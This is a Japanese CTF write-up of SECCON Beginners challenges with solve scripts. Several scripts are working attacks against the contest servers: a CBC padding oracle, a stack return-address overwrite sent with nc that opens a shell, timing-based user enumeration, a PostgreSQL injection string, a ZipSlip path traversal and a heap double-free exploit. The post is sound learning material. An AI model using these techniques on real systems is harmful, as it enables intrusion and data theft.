概要
15問解いて 25位 2738 points 1000人以上いる中で、CTF歴1年で個人成績としてはなかなかいい成績が残せたのではないかと思ってる。 youtubeで口頭でほとんどデモを交えつつ説明したので、ここではソースコードメインで。 詳細な説明はyoutube参照
rsacalc
該当する再生時間の動画のリンク
問題概要
- 署名をして
- 署名する中身: 1337, F
- 署名を検証する
問題概要: "1337,F" の署名を求めましょう
方針
RSA暗号の準同型
m = m1*m2にして、分解して、直接1337とかFとか文字列を使わずに、表現する。 具体的には
data1 = b"\x18\x99\x99\x9b\x96#" data2 = b"\x02" data = b"1337,F"
こんな感じでやれば分解できる。 これを、サーバーに送信したら、signatureが2つ帰ってくるので、 それらを掛け算したらOK
R&B
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=628
これはRot13とbase64やるだけ。
import base64 def _rot13(c): if 'A' <= c and c <= 'Z': return chr((ord(c) - ord('A') + 13) % 26 + ord('A')) if 'a' <= c and c <= 'z': return chr((ord(c) - ord('a') + 13) % 26 + ord('a')) return c def rot13(s): g = (_rot13(c) for c in s) return ''.join(g) S = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==" while True: if S[0] == "R": S = rot13(S[1:]) elif S[0] == "B": S = base64.b64decode(S[1:]).decode('utf-8') else: print(S) break
Noisy equations
該当する再生時間の動画のリンク
問題概要
Am + r = b
という式が与えられる。
A: 行列で既知(それぞれの要素が2256まで) m: ベクトルで未知(たかだか128くらい) r: ベクトルで未知(それぞれの要素が2256まで) b: 既知(それぞれの要素が、1000*2256)とかかな?
方針
rが小さいので、rを無視して、Aの逆行列を計算する。 何回も計算して、最頻値を取って、mを復号する。 (実はrがSEED固定なので毎回固定だった…)
from os import getenv from time import time from random import getrandbits, seed FLAG = b"ctf4b{00000000000000000000000000000000000000000}" SEED = b"hogehoge" L = 256 N = len(FLAG) def dot(A, B): assert len(A) == len(B) return sum([a * b for a, b in zip(A, B)]) coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)] seed(SEED) answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs] print(coeffs) print(answers)
#!/usr/bin/python3 from nums import * from fractions import Fraction def solve(mat): for row in range(len(mat)): tar = mat[row][row] for col in range(len(mat[row])): mat[row][col] /= tar for r in range(len(mat)): if r == row: continue boost = mat[r][row] for c in range(len(mat[r])): mat[r][c] -= mat[row][c] * boost return mat mat = [] for i in range(len(coeffs)): row = [] for j in range(len(coeffs[i])): row.append(coeffs[i][j]) row.append(answers[i] - 2**255) # 低めに出やすいので中央に持ってくる mat.append(row) solve(mat) # for i in range(len(mat)): # for j in range(len(mat[i])): # print(mat[i][j], end=" ") # print() for i in range(len(mat)): if i == len(mat)-1: print(mat[i][-1]) else: print(mat[i][-1], end=",")
encrypter
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=1382
問題概要
何らかの文字が与えられて、それの暗号化と復号をしてくれるという問題。 いかが特徴
- 暗号化が何文字でもできる
- そのため、ブロック暗号か、ストリーム暗号の可能性が高い
- 一定文字増えると、一気に文字数が増える。
- ブロック暗号の可能性が高い
- 同じ文字が続いても同じブロックが現れない: ECBではない
- 最後から2ブロック目をいじると、最後の1ブロックの特定バイトが変更される: ほぼほぼCBC
CBCってわかったらあとはPadding oracle attack
import requests import base64 import json import copy block_len = 16 def encrypt(S): data = '{"mode":"encrypt","content":"'+ S +'"}' print(data) response = requests.post('http://encrypter.quals.beginners.seccon.jp/encrypt.php', data=data) return base64.b64decode(json.loads(response.text)['result']) def decrypt(E): data = '{"mode":"decrypt","content":"'+ base64.b64encode(E).decode('utf-8') +'"}' response = requests.post('http://encrypter.quals.beginners.seccon.jp/encrypt.php', data=data) d = json.loads(response.text) return 'result' in d def merge_blocks(blocks): res = [] for block in blocks: for b in block: res.append(b) return bytes(res) def split_blocks(byts): blocks = [] for i in range(len(byts)//16): blocks.append(list(byts[i*16:(i+1)*16])) return blocks def expose_last_block(blocks_org, position): res = [] for i in range(16, 0, -1): res.append(i) print(res) blocks = copy.deepcopy(blocks_org) print(len(blocks[0])) # paddingの数の特定 padding_len = -1 for index in range(15,-1,-1): for i in range(256): print("index, i: ", index, i) blocks[position-1][index] = i if index == 15 and blocks_org[position-1][-1] == blocks[position-1][-1]: continue if decrypt(merge_blocks(blocks)): X = i break for j in range(15,index-1,-1): blocks[position-1][j] ^= res[index] blocks[position-1][j] ^= (res[index]+1) res[index] = res[index] ^ X ^ blocks_org[position-1][index] print(res) return res print(encrypt("aaaaaaaaaaaaaa")) # flag E = b'\xe6\x90\xb6\xa9\xf0\xcdb\xf2{\xd2j,\xcd\x9fr\xf8\xab\xe4\xc9%<\xdf\xf9t\x10\xa9x\x00V[\x9f\xfbe\x04\xac\xaa\x85\x11\x10\xbdod`\xa8\xbe\xc1%u\xae\x919\x17\xb4\x8dU\xf4/\xbd\xab\xd7\xa6t*\xbb' # E = b'\xd9\xc4f\xd6\xfdS\x0e\x8d;\xa0\x89\xdfW\x9c\x88iBq\xbd\x03Sji\x11\x9c\xa4\x10\x0f\x05q[\xc8' # print(encrypt(E)) blocks = split_blocks(E) print(blocks) res = [] for i in range(len(blocks)-1): target = copy.deepcopy(blocks) res.append(expose_last_block(target[:(i+2)], -1)) print(merge_blocks(res)) # b'ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}\x02\x02'
emoemoencode
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=2344
byteの差分を見ると、4byteの文字しか使ってないのに、すごい差が小さい事に気づいた。 差分を計算して、1文字目を'c'と決め打ちして、あとは差分で計算する
from Crypto.Util.number import * import copy f = open("./emoemoencode.txt") nums = [] hexs = [] for line in f: line = line[:-1] for c in line: nums.append(bytes_to_long(c.encode())) hexs.append(c.encode()) print(nums) print(hexs) for h in hexs: print(h) diffs = [0]*len(nums) for i in range(1,len(diffs)): diffs[i] = nums[i]-nums[i-1] print(diffs) last = ord('c') res = [] for i in range(len(diffs)): last += diffs[i] print(last) if last >= 0: res.append(chr(last)) else: res.append('?') print(''.join(res))
beginners_stack
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=2777
基本は、リターンアドレスを書き換えるだけの問題
ただし、alignが0x10の倍数じゃないととおらないので、2回popするテニックが必要。
rp++とかで、pop ret
するgadgetを見つけて、そこに対して飛ばす。
更にスタックにいい感じにデータを積んで、shellに飛ばす。
echoしただけだと、Congraturations!とでて終わって悲しい気持ちになるので、catコマンドで標準入力をうけつけることで、shellを入力する。
(echo -e "1111111111111111111111111111111111111111\x4c\x0b\x40\x00\x00\x00\x00o\x00\x61\x08\x40\x00\x00\x00\x00\x00\n"; cat) | nc bs.quals.beginners.seccon.jp 9001
yakisoba
https://youtu.be/Lpeh8yN7NAg?t=4204
angr使うだけ。
import angr proj = angr.Project('./yakisoba') simgr = proj.factory.simgr() res = simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1)) print(res.found[0].posix.dumps(0))
mask
https://youtu.be/Lpeh8yN7NAg?t=4510
ghidraを使うと、リバエンが捗る
A = list(b"atd4`qdedtUpetepqeUdaaeUeaqau") B = list(b"c`b bk`kj`KbababcaKbacaKiacki") # A = i & 0x75 # B = i & 0xeb for i in range(len(A)): print(chr(A[i] | B[i]), end="") print()
int main(int argc,long arv) { int N; size_t sVar2; long in_FS_OFFSET; int i; byte input [64]; byte local_98 [64]; byte local_58 [72]; long local_10; else { strcpy((char *)input,*(char **)(arv + 8)); N = (int)sVar2; puts("Putting on masks..."); for(int i=0;i<N;++i){} local_98[i] = input[i] & 0x75; local_58[i] = input[i] & 0xeb; } local_98[N] = 0; local_58[N] = 0; puts((char *)local_98); puts((char *)local_58); N = strcmp((char *)local_98,"atd4`qdedtUpetepqeUdaaeUeaqau"); if ((N == 0) && (N = strcmp((char *)local_58,"c`b bk`kj`KbababcaKbacaKiacki"), N == 0)) { puts("Correct! Submit your FLAG."); } else { puts("Wrong FLAG. Try again."); } } }
ghost
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=5106
問題概要
ghostscriptのファイルが与えられる。 ghostscript
頑張って読み解くと、以下のようになる。
%!PS-Adobe-3.0 /flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index % 標準入力をstackのtopにコピー length(文字列長さ?)の数分繰り返す length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch % スタックの上位2要素を交換 pop % スタックトップ消去 dup % スタックトップの複製 output % バッファ? cvs % 多分文字列変換的なやつ print % ↑の表示 ( ) print % スペースの表示 128 mod 1 add exch 1 add exch } repeat (\n) print quit % -------------------------------------------------- % flag = 64 string % output = 8 string % stack.push(0) % stack.push(1) % exch : スタックの上位2要素を交換する
ここまで読み解くと、おおよそN文字目まで合っていれば、N+1文字目をブルートフォースすれば行けるのではと思いました。 それを解くスクリプトはこちら。
# 変数をstdinとしてサブプロセスに渡す import subprocess from subprocess import PIPE def f(S): input_text = S + "\n" print(input_text) proc = subprocess.run("gsnd chall.gs", shell=True, input=input_text, stdout=PIPE, stderr=PIPE, text=True) r = proc.stdout nums = list(map(int, r.split('\n')[-2].split())) return nums ans = [3417,61039,39615,14756,10315,49836,44840,20086,18149,31454,35718,44949,4715,22725,62312,18726,47196,54518,2667,44346,55284,5240,32181,61722,6447,38218,6033,32270,51128,6112,22332,60338,14994,44529,25059,61829,52094] S = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" for i in range(0, len(ans)): for c in range(32,127): print(i, c) S = list(S) S[i] = chr(c) S = "".join(S) r = f(S) if(len(r) != len(ans)): continue print(r) print(ans) if r[i] == ans[i]: print(S) break
readme
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=6037
問題概要
/home/ctf/flag
のパスを ctf
という文字列を使わずに表現する。
方針
めちゃめちゃ頑張ってググると
/proc/self/cwd
で自信プロセスが実行されてるパスがわかるので、 /proc/self/cwd/../flag
で終わり
spy
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=6405
問題概要
パスワードが分からない A-Z までの26人のユーザー候補者がいる。 この中で、何人かユーザー登録がされているので、それを当ててくださいという問題。
方針
パスワードハッシュを求めるのに時間がかかるので、それで時間計測を行って解く。
import requests import re def login(name): data = { 'name': name, 'password': 'hello' } response = requests.post('https://spy.quals.beginners.seccon.jp/', data=data) # print(response.text) for line in response.text.split('\n'): if ' sec ' in line: num = re.findall("\d+\.\d+", line) return float(num[0]) ES = ["Arthur","Barbara","Christine","David","Elbert","Franklin","George","Harris","Ivan","Jane","Kevin","Lazarus","Marc","Nathan","Oliver","Paul","Quentin","Randolph","Scott","Tony","Ulysses","Vincent","Wat","Ximena","Yvonne","Zalmon",] d = {} for name in ES: d[name] = login(name) res = sorted(d.items(), key=lambda x:x[1]) for kv in res: print(kv[0], kv[1]) ### output ### # Zalmon 0.0002587 # Scott 0.0002846 # Nathan 0.000287 # David 0.0002886 # Barbara 0.0002965 # Vincent 0.0003085 # Paul 0.000309 # Oliver 0.0003096 # Wat 0.0003245 # Quentin 0.0003251 # Franklin 0.0003289 # Kevin 0.0003555 # Jane 0.0003723 # Harris 0.0003805 # Ulysses 0.0003837 # Arthur 0.0003927 # Christine 0.0004138 # Ivan 0.0004918 # Randolph 0.0006449 # # Ximena 0.4110968 # Elbert 0.4719231 # Tony 0.4757388 # George 0.5149259 # Yvonne 0.5762974 # Marc 0.6083214 # Lazarus 0.6226675
tweetstore
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=6741
問題概要
SQLinejectionでDBのユーザー名を求めてください。
方針
'
のエスケープを golangで以下のようにやっているが、postgresqlでは \'
は意味をなさないので、 '
を1文字入れるとバグるし、うまいことやると '
を閉じることができる。
strings.Replace(search[0], "'", "\\'", -1)
なので、返り値にgolangの型に合うようにいい感じに複文実行してやると
\\'; select usename, usename, now() from pg_user --
ユーザーの一覧を取得できる。
unzip
https://youtu.be/Lpeh8yN7NAg?t=7618
問題概要
パストラバーサルで /flag.txt
を読んでください。
ただし、使えるパスはアップロードしたzipファイルの中に含まれるファイル名のみです。
方針
ZipSlip Attackと呼ばれるらしい。 ../../flag.txt
なファイル名の作り方がわからなかった。(ずっとsymbolic linkで頑張ろうとしていた。)
ので、 ../../flag.txt
と同じ文字数を持つ aaaaaaaaaaaaaa
というファイルをzip圧縮し、後でバイナリエディタでファイル名だけ変更した。
あとはzipファイルをアップロードして、アクセスするとディクトリトラバーサルで
echo file_get_contents($filepath);
が flag.txt
を読み込んでくれるので、フラグが獲得できる。
beginners_heap
該当する再生時間の動画のリンク
https://youtu.be/Lpeh8yN7NAg?t=8582
問題概要
double free
解き方
書き下すのが辛いので、動画参照
from ptrlib import * from Crypto.Util.number import * sock = Socket("bh.quals.beginners.seccon.jp", 9002) intro1 = sock.recvuntil('> ').decode('utf-8') intro2 = sock.recvuntil('> ').decode('utf-8') intro = intro1 + intro2 win_addr = 0 free_hook_addr = 0 for line in intro.split('\n'): if '<win>:' in line: win_addr = int(line.split(':')[-1].strip()[2:], 16) if '<__free_hook>:' in line: free_hook_addr = int(line.split(':')[-1].strip()[2:], 16) print("win_addr : {}".format(hex(win_addr))) print("free_hook_addr: {}".format(hex(free_hook_addr))) A_offset = list(b"000000000000000000000000\x31\x00\x00\x00\x00\x00\x00\x00") win_addr_bytes = long_to_bytes(win_addr) free_hook_addr_bytes = long_to_bytes(free_hook_addr) target_byte = free_hook_addr_bytes for b in reversed(target_byte): A_offset.append(b) for b in range(8-len(target_byte)): A_offset.append(0) A_offset = bytes(A_offset) sock.sendline("2") sock.sendline("hello") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("3") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("4") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("5") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("1") sock.sendline(A_offset) print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("4") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("5") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("6") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("2") sock.sendline("hello") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("4") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("5") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("6") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("3") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("4") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("5") print(sock.recvuntil("> ").decode("utf-8")) sock.sendline("6") print(sock.recvuntil("> ").decode("utf-8")) A = [] target_byte = win_addr_bytes for b in reversed(target_byte): A.append(b) for b in range(8-len(target_byte)): A.append(0) A = bytes(A) sock.sendline("2") sock.sendline(A) print(sock.recvuntil('> ').decode("utf-8")) sock.sendline("3") print(sock.recvline()) print(sock.recvline())